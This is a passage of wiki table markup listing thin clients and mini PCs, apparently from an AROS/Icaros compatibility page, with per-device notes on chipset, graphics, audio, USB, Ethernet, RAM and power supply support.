| &lt;!--USB--&gt;USB2
| &lt;!--Ethernet--&gt;VIA 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2007 32bit VIA C3 Nehemiah instead of Ezra-T - made 2 version of the CA 21, one with an Award bios and one with a Phoenix bios - 1 ddr2 sodimm slot max 1gb - VT6656 wireless - slot - internal psu iec - 
|-
| &lt;!--Name--&gt;Neoware CA22 (e140), part number DD-L2-GE with BCOM WinNET P680 (V4) as the Igel 4210LX (Igel 5/4) 
| &lt;!--IDE--&gt;1 VIA VT82C586A/B VT82C686/A/B VT823x/A/C PIPC Bus Master IDE (rev 06)
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;VIA CN700 P4M800 Pro CE VN800 Graphics [S3 UniChrome Pro] (rev 01) vga
| &lt;!--Audio--&gt;AC97 with codec 
| &lt;!--USB--&gt;USB2 VIA VT8237R Plus
| &lt;!--Ethernet--&gt;VIA VT6102/VT6103 [Rhine-II] (rev 78)
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2007 32bit - VIA Esther to later C7 1GHz - 1 ddr2 sodimm slots max 512mb - +12V DC/4.16A/50W 5.5mm/2.1mm coaxial - 
|-
| &lt;!--Name--&gt;10Zig RBT402, Clientron U700, 
| &lt;!--IDE--&gt;{{Yes|44 pin header very little room}}
| &lt;!--SATA--&gt;{{N/A|}}
| &lt;!--Gfx--&gt;{{Partial|VESA dvi}}
| &lt;!--Audio--&gt;{{unk|AC97 with  codec}}
| &lt;!--USB--&gt;{{unk|VIA }}
| &lt;!--Ethernet--&gt;{{unk|}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2008 32bit - very small cases with very limited expansion - 1 sodimm 2GB max - 12v 3a psu - Password Fireport 
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Dell Optiplex FX170 D05U thin client, 10Zig 56xx range 5602, 5616v, 5617v, 5672v, Clientron U800, Devon IT TC5, 
| &lt;!--IDE--&gt;{{Yes|44 pin header very little room}}
| &lt;!--SATA--&gt;{{N/A|}}
| &lt;!--Gfx--&gt;{{partial|GMA 950 dvi}}
| &lt;!--Audio--&gt;{{Yes|HD Audio with  codec}}
| &lt;!--USB--&gt;{{Yes| }}
| &lt;!--Ethernet--&gt;{{No|Broadcom}}
| &lt;!--Test Distro--&gt;Icaros 2.3 
| &lt;!--Comments--&gt;2009 32bit - very small cases with very limited expansion - 1 ddr2 sodimm 2GB max - 12v 3a psu - Password Fireport - ps2 keyboard socket - 
|-
| &lt;!--Name--&gt;10Zig RBT-616V or Chip PC Technologies EX-PC (model number XPD4741)
| &lt;!--IDE--&gt;{{unk|44 pin header very little room}}
| &lt;!--SATA--&gt;{{N/A|}}
| &lt;!--Gfx--&gt;{{Yes|GMA 950}}
| &lt;!--Audio--&gt;{{unk|HD Audio with  codec}}
| &lt;!--USB--&gt;{{unk| }}
| &lt;!--Ethernet--&gt;{{unk|rtl8169}}
| &lt;!--Test Distro--&gt; 
| &lt;!--Comments--&gt;2010 32bit N270 on NM10 with ICH7 - very small cases with very limited expansion - 1 sodimm 2GB max - 12v 4a psu - Password Fireport 
|-
| &lt;!--Name--&gt;Gigabyte Brix GS-A21S-RH (rev. 1.0) SFF 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|X3100}} 
| &lt;!--Audio--&gt;{{No|HD Audio with ALC883-GR codec}}
| &lt;!--USB--&gt;Intel USB
| &lt;!--Ethernet--&gt;{{no|Intel 82566DC}}
| &lt;!--Test Distro--&gt;ICAROS 2.3 
| &lt;!--Comments--&gt;2009 64bit Intel GME965 chipset with Intel ICH8M - 2 DDR2 Dimm slots - GA-6KIEH2-RH Rev.1.x mini ITX Case 213mm(D) x 64mm(W) x 234mm(H) - custom psu - 
|-
| &lt;!--Name--&gt;VXL Itona MD+24 MD27 MD54 MD64 MD76 thin client 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;VIA Chrome 9 
| &lt;!--Audio--&gt;HD Audio with VIA VT 
| &lt;!--USB--&gt;VIA
| &lt;!--Ethernet--&gt;VIA 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2009 32bit VIA X2 U4200 - 12v-19v barrel psu - 
|-
| &lt;!--Name--&gt;Acer Revo 100 RL100 AMD Athlon II X2 K325 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;NVIDIA® ION™ 9300m || &lt;!--Audio--&gt;HDAudio with ALC662 codec || &lt;!--USB--&gt;USB2 1 front 2 back || &lt;!--Ethernet--&gt;NVIDIA nForce 10/100/1000 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2010 64bit but no AVX - 4Gb DDR3 sodimm - 500 GB - 19v 3.42a 65W - dvd but later BD drive - 
|-
| &lt;!--Name--&gt;Asrock ION 330 330Pro HT-BD, Foxconn NT-330i, Zotac ION F (IONITX mini itx), 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{Maybe|ION geforce 9400}}
| &lt;!--Audio--&gt;{{Maybe| }}
| &lt;!--USB--&gt;{{Maybe|Nvidia USB}}
| &lt;!--Ethernet--&gt;{{No|Nvidia }}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2010 32bit slow atom cpu - 2.5L 8&quot; by 8&quot; plastic case - 2 ddr2 sodimm max 4G - external 19v 65W 3.42A Plug 5.5mm X 2.5mm  - little whiny fan - 
|-
| &lt;!--Name--&gt;Zotac ZBOXHD-ND01 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;ION1
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB2
| &lt;!--Ethernet--&gt;NVidia
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2009 32bit 
|-
| &lt;!--Name--&gt;Zotac ZBOX HD-ID11
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;ION2
| &lt;!--Audio--&gt;HDaudio with ALC888 codec 
| &lt;!--USB--&gt;USB2
| &lt;!--Ethernet--&gt;rtl8169 rtl8111D 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2010 
|-
| &lt;!--Name--&gt;ZOTAC ZBOX Blu-ray 3D ID36 Plus 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;sata 
| &lt;!--Gfx--&gt;ION2
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;2 USB3
| &lt;!--Ethernet--&gt;GbE 
| &lt;!--Opinion--&gt;2011 64bit - 
|-
| &lt;!--Name--&gt;Shuttle XS35GT || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;ION || &lt;!--Audio--&gt;HD audio IDT92HD81 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|JMC261}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit - Atom™ D510 NM10 - DDR2 
|-
| &lt;!--Name--&gt;Shuttle XS35GT V2 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;ION2 || &lt;!--Audio--&gt;HD audio IDT92HD81 || &lt;!--USB--&gt;Intel || &lt;!--Ethernet--&gt;{{No|JMC251}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit Atom™ D525 NM10 chipset - DDR3 
|-
| &lt;!--Name--&gt;Sapphire Edge-HD || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;ION2 GT218 with vga and hdmi || &lt;!--Audio--&gt;HDAudio realtek codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{Unk|Realtek}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit - Atom™ D510 NM10 - DDR2 65 W AC, DC 19V~3.42A, 19.3L x 14.8w x 2.2H cm (1l), weight 530g, 
|-
| &lt;!--Name--&gt;Sapphire Edge-HD2 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes|IDE mode}} || &lt;!--Gfx--&gt;{{Yes|nouveau ION2 GT218 with vga and hdmi 2d and 3d}} || &lt;!--Audio--&gt;{{Yes|HDAudio}} || &lt;!--USB--&gt;{{Yes|Intel USB2}} || &lt;!--Ethernet--&gt;{{Yes|}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit Atom™ D525 NM10 chipset - DDR3 
|-
| &lt;!--Name--&gt;AOPEN Digital Engine DE67-HA(I) 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Maybe| }}
| &lt;!--Gfx--&gt;{{Maybe| Vesa 2d for Intel HD}}
| &lt;!--Audio--&gt;{{maybe|HDAudio for ALC662 codec}}
| &lt;!--USB--&gt;{{maybe|usb3}}
| &lt;!--Ethernet--&gt;{{no|Intel WG82579LM}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2011 
|-
| &lt;!--Name--&gt;[https://www.jetwaycomputer.com/JBC600C99352W.html Jetway JBC600C99352W] 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;ION2 
| &lt;!--Audio--&gt;{{No|C-Media CM108AH}}
| &lt;!--USB--&gt;USB2 
| &lt;!--Ethernet--&gt;Realtek 8111DL 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2011 64bit D525 - DDR3 - 12v psu 
|-
| &lt;!--Name--&gt;Foxconn nT-A3550 A3500 AMD A45 Chipset DDR3 Nettop Barebones - White
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;1 slot 
| &lt;!--Gfx--&gt;AMD Radeon HD6310 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;4 USB2 back and 2 USB3 front 
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 AMD Dual-core E350 1.6GHz CPU - 1 ddr3 sodimm - 
|-
| &lt;!--Name--&gt;Asus EeeBox PC EB1021 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Radeon HD6320M || &lt;!--Audio--&gt;HDAudio with ALC codec || &lt;!--USB--&gt;USB2 || &lt;!--Ethernet--&gt;Realtek GbE1 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit - AMD® Brazos E-350 SFF or E-450 with A50M - 2 ddr3l so-dimm - 40W ac - 
|-
| &lt;!--Name--&gt;Xi3 Piston PC Athlon64 X2 3400e (X5A), AMD R-464L quad (X7A) Z3RO NUC 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;AMD mobility HD3650 to radeon HD 7660G 
| &lt;!--Audio--&gt; codec 
| &lt;!--USB--&gt;4 USB2 3 USB3 
| &lt;!--Ethernet--&gt;{{no|Atheros AR8161}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2012 - 2 sodimm 8GB max - 19v 3.3a round - Titan105 bios update - 
|-
| &lt;!--Name--&gt;Sapphire Edge-HD3 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Radeon HD6320M with vga and hdmi || &lt;!--Audio--&gt;HDAudio with Realtek ALC662 codec || &lt;!--USB--&gt;USB2 || &lt;!--Ethernet--&gt;Realtek GbE1 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 AMD® Brazos E-450 with A45M -  ddr3l so-dimm - 65W ac - Wireless is Realtek 8191SU WiFi (802.11n) or AzureWave (802.11bgn) - 
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Samsung Syncmaster Thin Client Display TC-W Series 24&quot; LF24 TOWHBFM/EN TC220W LED LF22TOW HBDN/EN || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;8gb SSD || &lt;!--Gfx--&gt;{{Maybe| VESA mode only Radeon HD 6290}} || &lt;!--Audio--&gt; || &lt;!--USB--&gt;2 USB 2.0 || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 thin Client C-50 C50 AMD® 1000 MHz and no wireless 
|-
| &lt;!--Name--&gt;Advantech TPC-2140 thin client 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{Maybe|VESA }}
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;USB2 
| &lt;!--Ethernet--&gt;{{Yes|Realtek}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 atom-like G-T56E 1.65Ghz up to SSE3, BGA413 soldered - 
|-
| &lt;!--Name--&gt;CompuLab FIT-PC3 fitPC3 USFF PC AMD G-T56N || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;RADEON HD 6320 || &lt;!--Audio--&gt;{{yes|HDAudio ALC888 codec}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{yes|rtl8169 8111}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64 bit does not support AVX or SSE 4.1 - 12v 3a - 2x sodimm DDR3 max 4GB - wifi rtl8188ce 
|-
| &lt;!--Name--&gt;10Zig 6872 thin client 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{Maybe|VESA }}
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{Yes|Realtek}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 atom-like G-T56N up to SSE3 BGA413 (FT1) soldered - DDR3l single channel - 
|-
| &lt;!--Name--&gt;10ZiG Technology 9972 1.6 GHz Linux 1.47 kg Black RX-216GD thin client 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;AMD Radeon 5E 3840 x 2160 @ 30Hz to 2560 x 1600 @ 60Hz 2 x Display Port
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;6 x USB2.0 2 x USB3.0
| &lt;!--Ethernet--&gt;{{Maybe|Realtek}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2016 64bit does support AVX or SSE 4.1 AMD RX-216TD - 1 ddr3 sodimm - 12V 4A Coax 5.5mm/2.1mm 
|-
| &lt;!--Name--&gt;10ZiG 7800q thin client 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;AMD Radeon 5E 3840 x 2160 @ 30Hz to 2560 x 1600 @ 60Hz 2 x Display Port
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;6 x USB2.0 2 x USB3.0
| &lt;!--Ethernet--&gt;{{Maybe|Realtek}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2016 64bit does support AVX or SSE 4.1 AMD GX-424CC (Quad Core) 2.4GHz BGA769 (FT3b) - 1 ddr3 sodimm - 12V 4A Coax 5.5mm/2.1mm 
|-
| &lt;!--Name--&gt;
*Itona VXL MZE12 AMD a4-5000 thin client 
*VXL Itona LQ27 LQ+27 LQ44 LQ+44 LQ49 LQ+49 LQ50 LQ+50 LQ64 LQ+64 thin client 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Ati 8330 vga hdmi dp 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;4 usb2 2 usb3 
| &lt;!--Ethernet--&gt;Realtek 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2014 64bit quad BGA769 (FT3) soldered - 2 stacked sodimm ddr3 middle of mobo - 2 m.2 sata slots - 1 sata short cable half size space - limited 1ltr 8in case no fan - 19v hp style psu connector - 
|-
| &lt;!--Name--&gt;Dell Wyse 5212 21.5&quot; AIO Thin Client W11B 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;Sata
| &lt;!--Gfx--&gt;R3 out from DP or vga 
| &lt;!--Audio--&gt;HDAudio  
| &lt;!--USB--&gt;USB2 
| &lt;!--Ethernet--&gt;Realtek 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2015 64bit slow atom like dual core AMD G-T48E 1.4 GHz - dell type round ac needed 90W 19.5V 4.62A - 21 inch 1080p screen - 
|-
| &lt;!--Name--&gt;LG 24CK560N-3A 24' All-in-One Thin Client Monitor, 27CN650N-6N 27CN650W-AC 27', 34CN650W-AC 34', 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2018 64bit AMD Prairie Falcon GX-212JJ 
|-
| &lt;!--Name--&gt;CompuLab fit-PC4 fitPC4 4x 2Ghz AMD || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{no|Intel}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64 - 2x DDR4 sodimm - 
|-
| &lt;!--Name--&gt;IGEL Hedgehog M340C UD3 thin client 
*2016 V1.0 AMD GX-412HC 1.2GHz-1.6GHz Radeon R3E, normal bios DEL for Bios or F12 boot selector 
*2018 AMD GX-424CC 2.4GHz, Radeon R5E, UEFI hit DEL and choose boot or SCU icon 
| &lt;!--IDE--&gt;{{N/A|}}
| &lt;!--SATA--&gt;SATA half slim version '''limited space''' with msata 8+18pins slot on earlier 2016 models
| &lt;!--Gfx--&gt;{{Maybe|VESA for Radeon R3E later R5E sea islands vulkan 1.2 with dvi dp output}}
| &lt;!--Audio--&gt;{{Yes|HD Audio with codec ?? (412) and  Realtek ALC662-VD0-GR (424), both case speaker}}
| &lt;!--USB--&gt;amd usb3 boot usb2 with bios &quot;disable usb&quot; entry 
| &lt;!--Ethernet--&gt;{{Yes|Realtek 8169 8111 (412) and (424)}}
| &lt;!--Test Distro--&gt;Aros One x86 USB 1.5, 1.8 and 2.2 but ArosOne 64bit 1.2 boot loop in usb2 port 
| &lt;!--Comments--&gt;2016 64bit - 20cm/8&quot; high case - 1 DDR3L sodimm slot max 8Gb 1600MHz - external '''12V 3A''' supply with 5.5mm/2.1mm coaxial - IDE like interface under base stand is for legacy addon ports RS232 parallel etc - capacitive touch power on - case opening 3 stages, remove stand and narrow black plastic strip from the back, top cover slides off to the back and lifts off - 
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;10ZiG 6148v 6048qv (6100 series) 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{maybe| }}
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{maybe| }}
| &lt;!--USB--&gt;{{No| }}
| &lt;!--Ethernet--&gt;{{maybe| }}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2018 64bit AMD Ryzen V1202B 
|-
| &lt;!--Name--&gt;10ZiG 7111q 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{maybe| }}
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{maybe| }}
| &lt;!--USB--&gt;{{maybe| }}
| &lt;!--Ethernet--&gt;{{maybe| }}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2019 64bit AMD Ryzen R2514 2.1 GHz - 
|-
| &lt;!--Name--&gt;Shuttle DA320 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;R3 R5
| &lt;!--Audio--&gt;HD Audio with ALC662 codec 
| &lt;!--USB--&gt;{{maybe| }} 
| &lt;!--Ethernet--&gt;dual realtek 1GbE 8111H 
| &lt;!--Test Distro--&gt;
| &lt;!--Opinion--&gt;2017 64bit AMD 2200G 2400G - Robust metal 1.3-liter case - A320 chipset DDR4 - 19V 6.32A DC PSU - 
|-
| &lt;!--Name--&gt;IGEL UD7 H850C around december 2019 '''AMD Secure Processor''' is a built-in dedicated security system that checks if the BIOS has a valid signature and thus secures the next step in the boot process. This ensures that only devices with a signed BIOS will boot 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;None but 8gb emmc 
| &lt;!--Gfx--&gt;Vega 3 
| &lt;!--Audio--&gt;HD Audio with Realtek ALC897 or ALC888S codec 
| &lt;!--USB--&gt;USB 3.2 and 2.0 
| &lt;!--Ethernet--&gt;1GbE
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2018 64bit - AMD Ryzen™  Dual-Core 10W TDP - 2 DDR4 sodimms slots max 16Gb - 12V 4A psu - 2x DisplayPort 1.2 no dvi or hdmi - Intel® 9260 or SparkLAN WNFT-238AX wifi - 1x rear serial Prolific PL2303 chipset - locked down components and very limited expansion options 
|-
| &lt;!--Name--&gt;IGEL UD7 H860C - '''AMD Secure Processor''' is a built-in dedicated security system that checks if the BIOS has a valid signature and thus secures the next step in the boot process. This ensures that only devices with a signed BIOS will boot 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;None but 8gb emmc 
| &lt;!--Gfx--&gt;Vega 3 
| &lt;!--Audio--&gt;HD Audio with Realtek ALC897 or ALC888S codec 
| &lt;!--USB--&gt;USB 3.2 and 2.0 
| &lt;!--Ethernet--&gt;1GbE
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2018 64bit - AMD Ryzen™  Dual-Core 10W TDP - 2 DDR4 sodimms slots max 16Gb - 12V 4A psu - 2x DisplayPort 1.2 no dvi or hdmi - Intel® 9260 or SparkLAN WNFT-238AX wifi - 1x rear serial Prolific PL2303 chipset - locked down components and very limited expansion options 
|-
| &lt;!--Name--&gt;IGEL UD3 M350C (UEFI issues) 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;None but 8gb emmc 
| &lt;!--Gfx--&gt;Vega 3 
| &lt;!--Audio--&gt;HD Audio with Realtek ALC897 or ALC888S codec 
| &lt;!--USB--&gt;USB 3.2 and 2.0 
| &lt;!--Ethernet--&gt;1GbE
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2018 64bit - AMD Ryzen™ R R1505G Dual-Core 10W TDP - 2 DDR4 sodimms slots max 16Gb - 12V 4A psu - 2x DisplayPort 1.2 no dvi or hdmi - Intel® 9260 or SparkLAN WNFT-238AX wifi - 1x rear serial Prolific PL2303 chipset - locked down components and very limited expansion options 
|-
| &lt;!--Name--&gt;IGEL UD7 H860C AMD Ryzen V1605B Thin Client - '''AMD Secure Processor''' is a built-in dedicated security system that checks if the BIOS has a valid signature and thus secures the next step in the boot process. This ensures that only devices with a signed BIOS will boot 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;{{maybe| }} 
| &lt;!--Ethernet--&gt;1GbE 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2020 AMD Ryzen™ Embedded V1605B 2 – 3.6 GHz (Quad-Core) - 12v 5A psu - up to 16GB RAM DDR4 - locked down components and very limited expansion options 
|-
| &lt;!--Name--&gt;Gigabyte Brix Barebone Mini PC BSRE-1605
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 M.2
| &lt;!--Gfx--&gt;Vega 8  
| &lt;!--Audio--&gt;HD Audio ALC269 codec
| &lt;!--USB--&gt;USB3
| &lt;!--Ethernet--&gt;2 GbE
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2020 64bit AMD Ryzen V1605B - 2 DDR4 sodimm slots
|-
| &lt;!--Name--&gt;MINISFORUM Deskmini UM250 Mini PC 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;{{maybe| }}
| &lt;!--Ethernet--&gt;{{maybe| }}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2020 64bit AMD Ryzen V1605B - 
|-
| &lt;!--Name--&gt;T-Bao MN25 Mini PC 2500U 
| &lt;!--IDE--&gt;{{N/A| }}
| &lt;!--SATA--&gt;{{Unk|Intel NVMe}}
| &lt;!--Gfx--&gt;{{No|VESA Radeon Vega 8}}
| &lt;!--Audio--&gt;{{Unk| }}
| &lt;!--USB--&gt;{{maybe|USB 3}}
| &lt;!--Ethernet--&gt;{{Yes|Realtek PCIe 1GbE}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Atari VCS || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{maybe|Vesa 2D for AMD Vega 3}} || &lt;!--Audio--&gt;{{unk|HDAudio with ALC codec}} || &lt;!--USB--&gt;{{maybe|USB3 USB 3.2 Gen 2 front and 3 usb2 rear }} || &lt;!--Ethernet--&gt;rtl8169 Realtek RTL8111H || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit Ryzen Embedded R1606G - 2 ddr4 sodimm slots - TPM 2.0 - 
|-
| &lt;!--Name--&gt;Minis Forum M200 Silver Athlon M300 3300U 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Vega 8 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;{{maybe|USB 3.1 gen 1 and 2}} 
| &lt;!--Ethernet--&gt;{{No|Realtek PCIe 2.5G}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2021 64bit 
|-
| &lt;!--Name--&gt;Minis Forum DeskMini UM300 3300U, UM350 DMAF5 3550H, UM370 and UM700 with 3750H  
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Vega 8 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;{{maybe|USB 3.1 gen 1 and 2}} 
| &lt;!--Ethernet--&gt;{{No|Realtek PCIe 2.5G}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2021 64bit 
|-
| &lt;!--Name--&gt;MinisForum X300 with AMD 3400G
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Vega 8 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;{{maybe|USB 3.1 gen 1 and 2}} 
| &lt;!--Ethernet--&gt;{{No|Realtek PCIe 2.5G}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2021 64bit 
|-
| &lt;!--Name--&gt;Beelink SER3 GTR4 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;AMD Vega 3 or 10 
| &lt;!--Audio--&gt;HD Audio  with codec 
| &lt;!--USB--&gt;{{maybe|USB3}} 
| &lt;!--Ethernet--&gt;Realtek RJ45 1GbE 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2020 64bit 3200u or 3750h 
|-
| &lt;!--Name--&gt;AsRock DeskMini X300 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2020 Ryzen 7 Pro 4750G 5600G 
|-
| &lt;!--Name--&gt;MinisForum Besstar Tech X400 with AMD 4650G
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;AMD
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;{{maybe|USB 3.1 gen 1 and 2}} 
| &lt;!--Ethernet--&gt;{{No|Realtek PCIe 2.5G}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2021 64bit - MP1584 - kill NB679 NB679GD-Z=ALTM=AL** QFN-12 IC-REG-DL buck/linear synchronous chip IC with bad usb cables - 
|-
| &lt;!--Name--&gt;Beelink SER4 GTR5
| &lt;!--IDE--&gt;{{N/A}}
